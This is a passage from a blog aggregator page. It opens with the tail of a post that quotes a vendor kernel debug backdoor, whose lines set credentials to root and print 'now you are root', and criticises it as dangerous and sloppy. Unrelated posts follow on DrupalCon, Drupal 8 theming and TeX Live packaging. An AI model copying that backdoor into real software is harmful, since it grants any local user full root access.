  9. cred->fsuid = 0;
  10. cred->fsgid = 0;
  11. printk("now you are root\n");
  12. }

Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.

Anyway, enough said by me. Some other sources of information:

There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)

Catégories: Elsewhere

DrupalCon News: Let us know what you thought about the Con

Planet Drupal - ven, 13/05/2016 - 23:49

Thank you so much for attending DrupalCon New Orleans.  We had an amazing time and hope that you did too.  

After each Con, we ask that you please let us know how it went so we can see what we can improve for next time.  Please

Fill Out the Survey

We also understand that you may be interested in receiving a Certificate of Attendance.  If so, please fill out the request form and we will get back to you shortly.

Catégories: Elsewhere

tanay.co.in: Announcing www.d8cards.com - A simple Drupal 8 ladder for small study groups

Planet Drupal - ven, 13/05/2016 - 20:56

At my workplace, we had earlier formed a study group to try out some very simple Drupal 8 stuff.


As we progressed, we had built a bunch of activity cards that we used for the group.


They are now available @ www.d8cards.com.


Check them out. Each activity card has a tutorial and an exercise that you could try out. There are 21 cards covering varied Drupal 8 Topics.

Catégories: Elsewhere

Mediacurrent: Friday 5: 5 Tips to Integrate 3rd Party APIs

Planet Drupal - ven, 13/05/2016 - 17:59

TGIF! We hope you've had a great week.

We're hot off the heels of DrupalCon but couldn't disappoint and skip this week. We give you, Episode 8! This Friday, Senior Drupal Developer David Younker joins us to discuss 5 Tips to Integrate 3rd Party APIs.

He provides some great tips for integrating 3rd party APIs and feeds in Drupal 7 sites. Watch the video below to learn more about Using Aggregator, Using Feeds, Custom Solutions, API Keys, and OAuth.

Catégories: Elsewhere

Red Route: There's more than one way to Drupalise a cat

Planet Drupal - ven, 13/05/2016 - 14:28

One of the components in the design is something I'm calling tiles - as always, naming things is one of the hardest parts.

The component includes an image with a transparent overlay, showing the title. On hover and focus, some extra information becomes visible. For instance, for a gallery, the address will be shown, and for an exhibition, the artists and tags will be shown. Here's a Codepen which gives you an idea:

See the Pen Tiles... by malcomio (@malcomio) on CodePen.

Different versions of this component are used in quite a few places. On an exhibition page, it applies to a teaser view of the gallery linked via a node reference field. In various views, it applies to the views fields. To get the markup right for the views fields, I needed to create a custom template. But I didn't want to create the same template for each view that needed to use the tile pattern - that would be a nightmare to maintain.

Having read about Twig template extends I was tempted to try them for this use case - it seems like an interesting new feature, so why not try it out?

I created an initial template called views-view-fields--tiles.html.twig, and then set the view template to use it. For instance, I wanted to apply this markup for the exhibitions_new view, so I created a template called views-view-fields--exhibitions-new.html.twig, which contained just one line:

{% extends "themes/gall/templates/views/views-view-fields--tiles.html.twig" %}

It seemed to work OK, but didn't seem like the right approach. For one thing, it would leave me with a theme cluttered with loads of one-line templates, which would get pretty annoying pretty quickly. For another, it felt like a gratuitous use of a solution - a hammer looking for some nails to bash.

The solution I went with in the end was much more familiar from previous Drupal versions, although it uses the new hook_theme_suggestions_HOOK_alter hook:

/** * Implements hook_theme_suggestions_HOOK_alter(). */ function gall_theme_suggestions_views_view_fields_alter(array &$suggestions, array $variables) { // Set up views to use the tiles template. $tiles_views = array( 'exhibitions', 'exhibitions_a_z', 'exhibitions_new', 'exhibitions_this_gallery', 'galleries_a_z', 'galleries_new', ); $view_id = $variables['view']->id(); if (in_array($view_id, $tiles_views)) { $suggestions[] = 'views_view_fields__tiles'; } }

For someone familiar with previous versions of Drupal, it's another thing which is similar but different. More to learn, and some things to unlearn, but we're not starting from scratch, and we can have more options in our toolkit.

Tags:  Drupal Drupal 8 The Gallery Guide All tags
Catégories: Elsewhere

Norbert Preining: TeX Live 2016 (pretest) hits Debian/unstable

Planet Debian - ven, 13/05/2016 - 03:22

The sources of TeX Live binaries are now (hopefully) frozen, and barring unpleasant surprises, these will be code going into the final release (one fix for luatex is coming, though). Thus, I thought it is time to upload TeX Live 2016 packages to Debian/unstable to expose them to a wider testing area – packages in experimental receive hardly any testing.

The biggest changes are with Luatex, where APIs were changed fundamentally and practically each package using luatex specific code needs to be adjusted. Most of the package authors have already uploaded fixed versions to CTAN and thus to TeX Live, but some are surely still open. I have taken the step to provide driver files for pgf and pgfplots to support pgf with luatex (as I need it myself).

One more thing to be mentioned is that the binaries finally bring support for reproducible builds by supporting the SOURCE_DATE_EPOCH environment variable.

Please send bug reports, suggestions, and improvements (patches welcome!) to improve the quality of the packages. In particular, lintian complains a lot about various man page problems. If someone wants to go through all that it would help a lot. Details on request.

Other than that, many packages have been updated or added since the last Debian packages, here are the incomplete lists (I had accidentally deleted the tlmgr.log file at some point):

new: acmart, chivo, coloring, dvisvgm-def, langsci, makebase, pbibtex-base, platex, ptex-base, ptex-fonts, rosario, uplatex, uptex-base, uptex-fonts.

updated: achemso, acro, arabluatex, arydshln, asymptote, babel-french, biblatex-ieee, bidi, bookcover, booktabs, bxjscls, chemformula, chemmacros, cslatex, csplain, cstex, dtk, dvips, epspdf, fibeamer, footnotehyper, glossaries, glossaries-extra, gobble, graphics, gregoriotex, hyperref, hyperxmp, jadetex, jslectureplanner, koma-script, kpathsea, latex-bin, latexmk, lollipop, luaotfload, luatex, luatexja, luatexko, mathastext, mcf2graph, mex, microtype, msu-thesis, m-tx, oberdiek, pdftex, pdfx, pgf, pgfplots, platex, pmx, pst-cie, pst-func, pst-ovl, pst-plot, ptex, ptex-fonts, reledmac, shdoc, substances, tasks, tetex, tools, uantwerpendocs, ucharclasses, uplatex, uptex, uptex-fonts, velthuis, xassoccnt, xcolor, xepersian, xetex, xgreek, xmltex.


Catégories: Elsewhere


Subscribe to jfhovinne agrégateur - Elsewhere